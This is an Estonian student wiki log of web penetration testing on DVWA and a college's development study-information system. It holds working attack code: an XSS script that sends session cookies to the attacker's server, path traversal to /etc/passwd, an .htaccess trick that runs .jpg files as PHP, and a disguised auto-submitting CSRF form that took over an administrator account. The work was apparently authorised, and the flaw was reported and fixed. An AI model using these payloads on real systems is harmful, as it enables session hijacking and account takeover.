Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev ==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
Lihtsalt url modifitseerimisega leidsime mittekaitstud lingi:&lt;br /&gt;
&lt;br /&gt;
Õppesoorituste all on võimalik laadida alla kõikide kasutajate õpingukaardid (lihtsalt tuleb otsida üles soovitud kasutaja student_id)&lt;br /&gt;
Arvete alt peaks ka võimalik sama viga ära kasutada, aga kuna ühtegi arvet hetkel süsteemis polnud ei olnud võimalik seda viga kinnitada.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
===Burp suite===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
==Nessuse algkäivitamine==&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
